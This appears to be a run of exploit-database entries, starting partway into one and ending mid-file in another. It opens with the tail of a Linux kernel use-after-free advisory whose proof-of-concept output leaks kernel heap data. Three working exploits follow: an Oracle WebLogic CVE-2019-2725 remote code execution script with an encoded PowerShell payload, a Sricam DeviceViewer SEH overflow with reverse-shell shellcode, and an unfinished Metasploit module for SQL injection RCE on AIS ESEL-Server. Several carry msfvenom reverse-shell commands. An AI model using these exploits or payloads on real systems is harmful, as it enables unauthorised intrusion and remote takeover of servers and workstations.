[  139.044148] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 00007f654198538b
[  139.045809] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000001200011
[  139.047405] RBP: 00007ffed407cdd0 R08: 00007f6541e6f700 R09: 00007ffed407cdae
[  139.049063] R10: 00007f6541e6f9d0 R11: 0000000000000246 R12: 0000563e14789770
[  139.050659] R13: 00007ffed407ceb0 R14: 0000000000000000 R15: 0000000000000000

[  139.052673] Allocated by task 1116:
[  139.053506]  __kasan_kmalloc.constprop.9+0xa0/0xd0
[  139.054600]  kmem_cache_alloc+0xd6/0x1e0
[  139.055561]  vm_area_alloc+0x1b/0x80
[  139.056339]  mmap_region+0x4db/0xa60
[  139.057179]  do_mmap+0x44d/0x6f0
[  139.057953]  vm_mmap_pgoff+0x163/0x1b0
[  139.058936]  ksys_mmap_pgoff+0x16a/0x330
[  139.059839]  do_syscall_64+0x73/0x160
[  139.060633]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.062270] Freed by task 1117:
[  139.062957]  __kasan_slab_free+0x130/0x180
[  139.063906]  kmem_cache_free+0x73/0x1c0
[  139.064829]  __vma_adjust+0x564/0xca0
[  139.065756]  vma_merge+0x358/0x6a0
[  139.066504]  userfaultfd_ioctl+0x687/0x17c0
[  139.067533]  do_vfs_ioctl+0x134/0x8f0
[  139.068377]  ksys_ioctl+0x70/0x80
[  139.069141]  __x64_sys_ioctl+0x3d/0x50
[  139.069959]  do_syscall_64+0x73/0x160
[  139.070755]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  139.072235] The buggy address belongs to the object at ffff8881e616ed50
                which belongs to the cache vm_area_struct of size 200
[  139.075075] The buggy address is located 16 bytes inside of
                200-byte region [ffff8881e616ed50, ffff8881e616ee18)
[  139.077556] The buggy address belongs to the page:
[  139.078648] page:ffffea0007985b00 count:1 mapcount:0 mapping:ffff8881eada6f00 index:0x0 compound_mapcount: 0
[  139.080745] flags: 0x17fffc000010200(slab|head)
[  139.081724] raw: 017fffc000010200 ffffea000792dc08 ffffea0007765c08 ffff8881eada6f00
[  139.083477] raw: 0000000000000000 00000000001d001d 00000001ffffffff 0000000000000000
[  139.085121] page dumped because: kasan: bad access detected

[  139.086667] Memory state around the buggy address:
[  139.087695]  ffff8881e616ec00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.089294]  ffff8881e616ec80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.090833] >ffff8881e616ed00: fc fc fc fc fc fc fc fc fc fc fb fb fb fb fb fb
[  139.092417]                                                        ^
[  139.093780]  ffff8881e616ed80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  139.095318]  ffff8881e616ee00: fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc fc
[  139.096917] ==================================================================
[  139.098460] Disabling lock debugging due to kernel taint
======================================================================

################################################################################

 One thing that makes exploitation nice here is that concurrent modification of the number of VMAs throws off the use of the heap-allocated array `vma_filesz`: First vma_filesz is allocated with a size based on the number of VMAs, then it is filled by iterating over the VMAs and writing their calculated sizes into the array (without re-checking against the array's size), and then the function iterates over the VMAs again and dumps the entries in vma_filesz to userspace, again without checking whether the array bounds were exceeded.
This means that you can use this to:

 - leak in-bounds uninitialized values
 - leak out-of-bounds data
 - write out-of-bounds data (with constraints on what can be written)

By using FUSE as source of file mappings and as coredump target (assuming that the system has the upstream default core_pattern), you can pause both the loop that performs out-of-bounds writes as well as the loop that performs out-of-bounds reads, so you should be able to abuse this to write in the middle of newly allocated objects if you want to.

The attached proof-of-concept just demonstrates how you can use this to leak kernel heap data because I didn't want to spend too much time on building a PoC for this.

Usage:

=========================================================================
user@deb10:~/uffd_core_memdump$ tar cf uffd_core_memdump_clean.tar
tar: Cowardly refusing to create an empty archive
Try 'tar --help' or 'tar --usage' for more information.
user@deb10:~/uffd_core_memdump$ tar cf uffd_core_memdump_clean.tar uffd_core_memdump_clean/
user@deb10:~/uffd_core_memdump$ cd uffd_core_memdump_clean/
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ls
compile.sh  slowfuse.c  uffd_core_oob.c
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ./compile.sh 
user@deb10:~/uffd_core_memdump/uffd_core_memdump_clean$ ./uffd_core_oob 
waiting for fuse...
fuse is up
got sync 1
wrote sync 2
########## getattr(/core)
########## getattr(/core)
######## create /core
########## getattr(/core)
########## getattr(/core)
starting tarpit
got sync 2
0x0000000000000e3c 0x0000000000000000 0x0000000000000000 0x0000000000001000 
0x0000000000000000 0x0000000000000000 0x0000000000001000 0x0000000000001000 
0x0000000000021000 0x0000000000001000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000004000 0x0000000000002000 0x0000000000004000 
0x0000000000002000 0x0000000000001000 0x0000000000000000 0x0000000000000000 
0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000021000 
0x0000000000003000 0x0000000000002000 0xffff9d5e5d354020 0xffff9d5e5d354020 
0x0000000000000000 0x0000000000000000 0x00007ffe113b5fe8 0x0000000000800000 
0xffffffffffffffff 0xcbdddcafbd3ba9d1 0x0000000000000000 0x00000001003e0003 
0x0000000000002c80 0x0000000000000040 0x0000000000006150 0x0038004000000000 
0x001b001c00400009 0x0000000400000006 0x0000000000000040 0x0000000000000040 
0x0000000000000040 0x00000000000001f8 0x00000000000001f8 0x0000000000000008 
0x0000000400000003 0xffff9d5e39c7edd0 0x0000000000000000 0x0000000000000000 
0x00007fffa1d9dc90 0x0000000000000001 0xffff9d5e421c1300 0x0000000000000000 
0x0000000000000000 0x0000001100000003 0xffff9d5e5d352020 0xffff9d5e5d352020 
0x0000000000000000 0x0000000000000000 0x00007fffa1d9efea 0x0000000000800000 
0xffffffffffffffff 0xcbdddcafbd3bacd1 0x000000000000cccc 0x0000000000000000 
0x000000000000cdcd 0x0000000000000000 0x000000000000cece 0x0000000000000000 
0x000000000000cfcf 0x0000000000000000 0x000000000000d0d0 0x0000000000000000 
0x000000000000d1d1 0x0000000000000000 0x000000000000d2d2 0x0000000000000000 
0x000000000000d3d3 0x0000000000000000 0x000000000000d4d4 0x0000000000000000 
0x000000000000d5d5 0x0000000000000000 0x000000000000d6d6 0x0000000000000000 
0x000000000000d7d7 0x0000000000000000 0x000000000000d8d8 0x0000000000000000 
0x000000000000d9d9 0x0000000000000000 0x000000000000dada 0x0000000000000000 
0x000000000000dbdb 0xcbdddcafbd3ba2d1 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xffff9d5e445b1860 0xffff9d5e445b1860 0x0000000000000000 
0x0000000000000000 0xffffae0182101000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000180 0xffff9d5e445b18c8 0xffff9d5e445b18c8 
0xffffffff90f80b40 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xcbdddcafbd3ba9d1 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffff9d5e6699ccc0 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
[...]
0xffff9d5e445ebd58 0xffff9d5e445ebd58 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0xffff9d5e4978d080 
0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0xffff9d5e5e180c60 0x0000000000000000 0xffff9d5e445ebdd0 
0xffff9d5e445ebdd0 0xffff9d5e445ebde0 0xffff9d5e445ebde0 0xffff9d5e5d669430 
0x0000000000000000 0x4cab9d3f81e3f812 0xffffffff91058c10 0xffff9d5e49614f20 
0xffff9d5e5d406b40 0xffff9d5e5d40a328 0xffffffff91a2ae80 0x0000000000000000 
0x0000000000000000 0x0008400000220000 0x0000000000000000 0x0000000000000000 
0xffff9d5e445ebe58 0xffff9d5e445ebe58 0x0000000000000000 0x0000000000000000 
0x0000000000000000 0x0000000000000000 
Segmentation fault (core dumped)
=========================================================================


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46781.zip
            
#!/usr/bin/python

# Exploit Title: Oracle Weblogic Exploit CVE-2019-2725
# Date: 30/04/2019
# Exploit Author: Avinash Kumar Thapa
# Vendor Homepage: https://www.oracle.com/middleware/technologies/weblogic.html
# Software Link: https://www.oracle.com/technetwork/middleware/downloads/index.html
# Version: Oracle WebLogic Server, versions 10.3.6.0.0, 12.1.3.0.0
# Tested on:
	#OS: Windows 2012 R2 (Build 9600).
	#Architecture    : x64
	#System Language : en_US


# CVE : CVE-2019-2725


# Script Usage:
# python exploit.py http://IP:PORT/_async/AsyncResponseServiceHttps
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=1234 -f psh-cmd > exploit.ps1
# Add the powershell command in the variable

__author__ = "Avinash Kumar Thapa"
__description__ = """
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server

CREDIT STATEMENT:
The following people or organizations reported security vulnerabilities addressed by this Security Alert to Oracle:

Badcode of Knownsec 404 Team: CVE-2019-2725
Hongwei Pan of Minsheng Banking Corp.: CVE-2019-2725
Liao Xinxi of NSFOCUS Security Team: CVE-2019-2725
Lin Zheng of Minsheng Banking Corp.: CVE-2019-2725
Song Keya of Minsheng Banking Corp.: CVE-2019-2725
Tianlei Li of Minsheng Banking Corp.: CVE-2019-2725
ZengShuai Hao: CVE-2019-2725
Zhiyi Zhang of 360 ESG Codesafe Team: CVE-2019-2725

"""

import requests
import sys

print "Exploit Written by Avinash Kumar Thapa"


exploit = "%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARABQAFcAeAAxAHcAQwBBADcAVgBXAGIAVwAvAGEAUwBCAEQAKwBuAEUAagA5AEQAMQBhAEYAWgBGAHMAaABHAEIATABhAE4ASgBFAHEAMwBaAHAAWABVADUAeQBZAE8AQgBBAEkAaAAwADQAYgBlADIAMgBXAHIATAAzAEUAWABoAE8AZwAxAC8AOQArAHMAMgBDAG4ANgBUAFcAdAAyAHAAUABPADQAbQBWAGYAWgBtAFoAbgBuAG4AbABtADEAawBFAFcAZQA0AEwAeQBXAEYAawBzAHUAZgBMADUAegBlAEcAQgBnAHgATQBjAEsAVgBvAHAAYQBrADMASwBTAG0AbgBWAGEANQArAG0AKwBzAEUAQgBiAEoAUgBXAFYAawBmADUAcQBHAGgAVAB0AEYAdwAyAGUAWQBSAHAAUABMAHUANABhAEcAUgBKAFEAbQBLAHgAbgAxAGMANgBSAEsAQQAwAEoAZABFADkAbwB5AFQAVgBkAE8AVgB2ADUAWABaAE8ARQBuAEoAOABkAGIAOABnAG4AbABBACsASwA2AFcALwBLAGgAMwBHADcAegBIAEwAeABUAFkATgA3AE0AMgBKAGMAbwB4AGkAWAArADcAMQB1AFkAZQBsAE0AeABWADMAeQBhAGoAUQAxAEQALwAvAFYAUABYAHAAYwBXADEAVwBhAFQAMQBtAG0ASwBXAGEANgBtADUAUwBRAGEASwBLAHoANQBpAHEASwAxADkAMABlAGUARABOAFoAawBrADAAMQBhAFoAZQB3AGwATQBlAGkATQBvAHQAagBVADkAUABLAHMATQA0AHgAUQBHADUAQgBHAHMAcgBZAGgATQB4ADUAMwA2AHEANgBoAEEARQBmAEIASQBpAHMAaQBSAFcAWgBEAGgAUwBmADcAKwByAHEAVABCADAARQB1ADQAaAAzADAAOQBJAG0AcQBwAGwAWgBTAG8AdABUADIAZQB6AFAANwBSAHAAZgB1AHgAMQBGAGcAcwBhAGsAWQBvAFYAQwA1AEwAdwBwAFUAdQBTAEYAZgBWAEkAVwB1AG4AaQAyAEcAZgBrAG0AZwBRAHoAMABIAEoARgBRAHUATgB3AHAAdQBzAGcAdAB1AEkAUABSAEMAdgBGAEcAVwBOAGwANQBYAGYATQBhAEoAZgBrAHEAUQBEAHQAVgA1AFcAMABsADAAbwBnADUAWQBoAEUATAAwAE0AZQB2AHcALwBUADUAbgA3AEcAeQBGADUAUgBmAGMAVgBQAG0AWABvAGQAbgB1AGYAMABBADMAQgBmADMAaAB5ACsATwBRAHcASwByAHAARAB6AGwAMQBTAEIAMABjAEYAMABOAHkAYgBnAG0AKwBiAHcAbABPADYAawBQAGkAcgBWAHMAbQBMAEQATQBWAGoAdwBaAEEAUABUADAAawAyAFMARQBYADMAMgBqAEsAeABTAFMAcwBmAE4AKwAvAEsAUAA5AFcAdQBGAE0ASQBnAFMAdgB3ADgAcgAwAHgARwBuAC8AZwB3ADAAOABtAFMAVwA4AEwAZwBwAGwAMwAvAE0AeQBTAFkASgBhAEUAeQBhAG0AeABoAEgAMQBDAHQAbwBwADcAMgBHAE0AQQBrAFkAMgBjAFYAWABLAGMAUQB1AHcAUwBWAE4AegBUAGUASQAzAHkAUwBNAGgARgBoAEkAMABHAFMAaQB2ADEATgByAFIAVgBRADgANgA1AG8AWgBaAFQANQBKAGsAQQBkAFoAUwBzAEUAcgBTAEsARAArAHIAVABQADcAUABHAGkAcQBGAGQAcwBrAEEAbwBUADIAYwAyAEIAZQBLAFEAQwB5AGsAMABJADYASgAvAGkAbQBPAEYAMwBPAFEAVQBoAHQATQBKAHkAbQBaAGMAWABKAG8ATgBxADgAcwB1AEkAUwB6AEkAaABmAFYAbABDAGMAMABuAHcATABaAFkATAB2AGgAdQBwAFgAZAArADIATQBDAGUAcgBoAFYAQgBUAG0AWgBuAG8ATwBZADMANQBjAGcAOABlAHAAUwBEAEkAUABjAGcAYQBoADMANwBoAEwANABsAEgATQBKAEIASgBsAHAAVQB0ADkAWQBtADUAYwBHAGgAYgBIAHEAcQAvAGkAMABNAEMATQBRAFEAMgBBAHAAUgBYAGsAQQBWAFoAawAvAEsANgBRAFQARQBqAEEAdwAxADMAVwA5AFkAcABMAGgAQgBVAHQARwBZAGwAQQBaAGwAZgAxAGIAWQBaAEQAcQBQAEcAYwA2AFQAdgBxADQASgBEADQANgByADgAYwBMAEoAaQA4AHAANgAxAEUAbwBvAEQAZwBoAFgAdQBRAFgAcABkAHgAVQBWAFoARwBOAEIASABRAE8AeQBTAHEAdwBLAEQALwBkAHYAaQBMAHAAaQBIAGQAYQBDAFEAawBUADQATgBXAFYATQBiAFUAMwBBAGoASgA2AE4ASwBXAGUAcQAyADEASgBHAFMATwB5AGcANgBEAFIARQBEADgANwBZAFIASABKAGsANwBKACsALwBxACsAUQAyAGgAdgBqAFMAdgBhAFEAUABCAE0AcgBKAGoAWgBuAHYAbABBAGEAKwBpAEoAMQBpAHcAYgB2AGsATgA2AGEAdgBIAG0AbQBmACsAcAB0ACsAZwBhAFMAWABNADkARAA1AEMAVgBXAG4AYgBYAGEAUQA2ADYAMwBmAHEAcQA1ADQANwBxAHcAbQAxAFoANABwAE4AagBDAGIAcwAxAFgAaQB4AGMAMQBMADAAZQBUAHMAUwBkAGgAYgBvADMAdABQAG8AdwBxAFcAKwBYAFAAYgBwADEAKwA4AGkAZgByAEkAMwAzAFcAMwBQADcAVgBEAFgAWAAyADAAWABvAEIANQBOAG0ARQBJAFIAbgBnAFgAdABkAGUAOQBlAG0ALwBkAHYARwB3AEsAeQBlADQASAA2AHoAbABmAFYAdgB6AFMAZQB6AFcAawA5AGIAOQBLAGsANwBvAE0AUABCAFEANgA4AHQANwBpAGMAagBoAG8AZQBCAEUAWQA1AHIANQA1AGkAdQArADgAbABpAFYATwBQADIAMQBrAEsAbwBNAHoALwAxAHQAcgAxAGcAMQBKAG4AYgAvAG0AYgBTAHAAVwBSAGgAVgBQAHQAMABnAEEAWQBJAGYAZgBLAHUAaAA4AE4ATwB1AEEAdwA3AEsAVABMAE8AUgA0ACsATgBLAEcAeQBPAEgAVwBlAEIAawBZAFYAYQBvADAAMwB2AEgAVABNAEgAdwA3AGEASgBoAGkAMQB6AGcASwArADQAYwAzAHIAVQBOAEcAcAAzAC8AbQBPAHIAZgBUAGYARwB2AFkAagA1AG4AYQA1AFIAbQA0AHkAUgBqAHgATABqAEoAcAB6AFgAegBxADcAbQBzAGMAUQBKAGgAKwBhAGoASwBXAFYAUQAvADIANwBUAE4AawBEAEcAcQBhAE4AdQAvAFkAUgB1ADcAeAA0AEgAbgBSAEMAMQBRAEcAWQBVAGMAWQBUAGIAOQBHAEYANABOAEEAYQBiAGwAegBlAGcAYwB6AHUAcwArAFIAeQBKADIAQgBvAGIAeABpAGcAMABRAGgAUwA0ADgAdwBsAEcASgBrAGkAYgBqADYAaAB0ADgAcwBiAG0AZwAyAE0ANwB4AG0AaAAwAE0AcQAvAGQAUAA5AFQAbQA0AEQATQBaAHIAegA3AFkAUABYAFQAVQA5AGgAegBEAE0ASQA2AGkAZQAvAGcAMQBrAEcAYwB2ADEALwBIAFkAZgBEAHAAYgBQAFEAbgBjAHUAdwBYAGIATgA4AGIANQA4AE8ATgBiAHkAUgBFAGcAUwBTAGsAeQBhADgAMABYAHUAZgA5AFIAeQA3AFoAeABrAHMANAB4AEEAMAA1AEEATQB5ADcASwBzAE0AMgBUAGQAdAA1AGUASABVADYAbABoAHEAYgBKAEsALwBtAEIASgBEAEYAaABjAEsAUABCAG4AVgBlAFEARwBUAEgARwBQAGQAbgBjAG8AUQAvAEQAdABiAEoAdgA5AHYATAB1AEcAYwBMAHcAOQBPAFQAVgBrAGEANAA4AEMAKwBwAGYAZQAzADYAeABkAEgARgB4AEIAeQA1AEMAZABlAHoANABXACsAbQBUAE8AQgBUAHoAYwBuAFYAOQBXAHEAMQBDAEQANgArAHUANgAxAFcASQA4AGQAZgBqAGEAdgBEAGwAUgB0AHYAYgBLAHMAdABMAFkASQBmAE0AcwAzAFcAMgBzADYANwBMAHUAaQBrAHQAKwA2AFAALwBGAGIARwA4AFYAdQBmAHcANQAvADgAYwBzAGEAOQByAFAAOQBuADkASgBSAFMAcgA1AFgAMgA4ADMAeQAxAC8AdQAvAEIAYgBpAFAANQB1ADMATABlAFkAQwBoAEIAMABvAGQARQB3AHMAcgAvAG4AWABnAHMALwA1ADgAYQBMAGwAdwBCAEkAQwBPAFEAOQB5AEIALwA1AEMAbgBlAFYAaQBlAE4ATABlAEQAVgA0AGMALwBnAFAAeQBrAHYAWgBDAGkAdwBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="

url =  sys.argv[1]

request_headers = {"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Accept-Language": "en", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Content-Type": "text/xml"}
data="<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">\r\n    <soapenv:Header>\r\n        <wsa:Action>xx</wsa:Action>\r\n        <wsa:RelatesTo>xx</wsa:RelatesTo>\r\n        <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n            <void class=\"java.lang.ProcessBuilder\">\r\n                <array class=\"java.lang.String\" length=\"3\">\r\n                    <void index=\"0\">\r\n                        <string>cmd</string>\r\n                    </void>\r\n                    <void index=\"1\">\r\n                        <string>/c</string>\r\n                    </void>\r\n                    <void index=\"2\">\r\n                        <string>%s</string>\r\n                    </void>\r\n                </array>\r\n            <void method=\"start\"/></void>\r\n        </work:WorkContext>\r\n    </soapenv:Header>\r\n    <soapenv:Body>\r\n    <asy:onAsyncDelivery/>\r\n    </soapenv:Body>\r\n</soapenv:Envelope>" %  (exploit)
response = requests.post(url, headers=request_headers, data=data)
print "status_code:%s" % str(response.status_code)
print(response)
            
# Exploit Title: DeviceViewer v3.12.0.1 username field SEH overflow (PoC)
# Discovery Date: 25/04/2019
# Exploit Author: Hayden Wright
# Vendor Homepage: www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows XP Pro x64, Windows 7 32bit
# CVE : CVE-2019-11563

#!/usr/bin/python
import struct

#------------------------------------------------------------#
# CVE-2019-11563                                             #
#                                                            #
# Sricam DeviceViewer.exe 'username' field SEH overflow      #
# by Hayden Wright                                           #
#                                                            #
# (*) badchars = '\x00\x0a\x0d'                              #
# (*) SEH = 0x6a413969 OFFSET 268                            #
# (*) nSEH = 268 -4                                          #
#                                                            #
#  69901d06  5E  POP ESI                                     #
#  69901d07  5F  POP EDI                                     #
#  69901d08  C3  RETN                                        #
#                                                            #
#------------------------------------------------------------#

#msfvenom -p windows/shell_reverse_tcp lport=1234 lhost=192.168.1.101 -f c -b '\x00\x0a\x0d' -a x86 --platform windows EXITFUNC=seh

shellcode =(
"\xb8\x51\x9c\x1c\xa4\xda\xc9\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x52\x31\x42\x12\x83\xea\xfc\x03\x13\x92\xfe\x51\x6f\x42\x7c"
"\x99\x8f\x93\xe1\x13\x6a\xa2\x21\x47\xff\x95\x91\x03\xad\x19"
"\x59\x41\x45\xa9\x2f\x4e\x6a\x1a\x85\xa8\x45\x9b\xb6\x89\xc4"
"\x1f\xc5\xdd\x26\x21\x06\x10\x27\x66\x7b\xd9\x75\x3f\xf7\x4c"
"\x69\x34\x4d\x4d\x02\x06\x43\xd5\xf7\xdf\x62\xf4\xa6\x54\x3d"
"\xd6\x49\xb8\x35\x5f\x51\xdd\x70\x29\xea\x15\x0e\xa8\x3a\x64"
"\xef\x07\x03\x48\x02\x59\x44\x6f\xfd\x2c\xbc\x93\x80\x36\x7b"
"\xe9\x5e\xb2\x9f\x49\x14\x64\x7b\x6b\xf9\xf3\x08\x67\xb6\x70"
"\x56\x64\x49\x54\xed\x90\xc2\x5b\x21\x11\x90\x7f\xe5\x79\x42"
"\xe1\xbc\x27\x25\x1e\xde\x87\x9a\xba\x95\x2a\xce\xb6\xf4\x22"
"\x23\xfb\x06\xb3\x2b\x8c\x75\x81\xf4\x26\x11\xa9\x7d\xe1\xe6"
"\xce\x57\x55\x78\x31\x58\xa6\x51\xf6\x0c\xf6\xc9\xdf\x2c\x9d"
"\x09\xdf\xf8\x32\x59\x4f\x53\xf3\x09\x2f\x03\x9b\x43\xa0\x7c"
"\xbb\x6c\x6a\x15\x56\x97\xfd\xda\x0f\x96\x98\xb2\x4d\x98\x66"
"\x91\xdb\x7e\x0c\x05\x8a\x29\xb9\xbc\x97\xa1\x58\x40\x02\xcc"
"\x5b\xca\xa1\x31\x15\x3b\xcf\x21\xc2\xcb\x9a\x1b\x45\xd3\x30"
"\x33\x09\x46\xdf\xc3\x44\x7b\x48\x94\x01\x4d\x81\x70\xbc\xf4"
"\x3b\x66\x3d\x60\x03\x22\x9a\x51\x8a\xab\x6f\xed\xa8\xbb\xa9"
"\xee\xf4\xef\x65\xb9\xa2\x59\xc0\x13\x05\x33\x9a\xc8\xcf\xd3"
"\x5b\x23\xd0\xa5\x63\x6e\xa6\x49\xd5\xc7\xff\x76\xda\x8f\xf7"
"\x0f\x06\x30\xf7\xda\x82\x4e\x09\xd6\x1e\xc6\xb0\x83\x62\x8a"
"\x42\x7e\xa0\xb3\xc0\x8a\x59\x40\xd8\xff\x5c\x0c\x5e\xec\x2c"
"\x1d\x0b\x12\x82\x1e\x1e")

max_size = 4000

buf = 'A'*264
buf += '\xeb\x06\x90\x90'            #jump short 6-bytes
buf += struct.pack('<I', 0x69901d06) #POP ESI, POP EDI, RET  avformat-54.dll
buf += '\x90' * 16
buf += shellcode
buf += 'C'*(max_size - len(buf))

print '[+] %s bytes buffer created...' %len(buf)

try:
    filename = 'CVE-2019-11563.txt'
    file = open(filename , 'w')
    file.write(buf)
    print '[+] Evil buffer saved to file: ' + filename
    print '[+] Copy + paste its contents into the "user" field and hit login'
    file.close()
except:
    print "[!] Could not create file!"
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL_COMMANDS
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AIS logistics ESEL-Server Unauth SQL Injection RCE',
      'Description'    => %q{
        This module will execute an arbitrary payload on an "ESEL" server used by the
        AIS logistic software. The server typically listens on port 5099 without TLS.
        There could also be server listening on 5100 with TLS but the port 5099 is
        usually always open.
        The login process is vulnerable to an SQL Injection. Usually a MSSQL Server
        with the 'sa' user is in place.

        This module was verified on version 67 but it should also run on lower versions.
        An fixed version was created by AIS in September 2017. However most systems
        have not been updated.

        In regard to the payload, unless there is a closed port in the web server,
        you dont want to use any "bind" payload. You want a "reverse" payload,
        probably to your port 80 or to any other outbound port allowed on the firewall.

        Currently, one delivery method is supported

        This method takes advantage of the Command Stager subsystem. This allows using
        various techniques, such as using a TFTP server, to send the executable. By default
        the Command Stager uses 'wcsript.exe' to generate the executable on the target.

        NOTE: This module will leave a payload executable on the target system when the
        attack is finished.

      },
      'Author'         =>
        [
          'Manuel Feifel'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-10123'],
        ],
      'Platform'       => 'win',
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Payload'        =>
        {
          'BadChars'  => "\x00\xff\x27",
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2019-03-27',
      'DefaultOptions' =>
        {
          'RPORT' => 5099
        },
      ))
  end

  # This is method required for the CmdStager to work...
  def execute_command(cmd, _opts)
    cmd_xp = "EXEC master..xp_cmdshell '#{cmd}'"
    send_login_msg(create_login_msg_sql(cmd_xp))
  end

  # prepends the required length to the message and sends it to the server
  def send_login_msg(login_msg, check_response = true)
    length = login_msg.length
    length += length.to_s.length
    login_msg = "#{length}#{login_msg}"

    connect

    sock.put(login_msg)
    response = sock.recv(10000)

    if check_response
      if (response.include? 'Zugangsdaten Falsch') && (response.length > (length - 20))
        print_good('Correct response received => Data send successfully')
      else
        print_warning('Wrong response received => Probably data could not be sent successfully')
      end
    end

    return response
  ensure
    # Every time a new Connection is required
    disconnect
  end

  # embeds a sql command into the login message
  def create_login_msg_sql(sql_cmd)
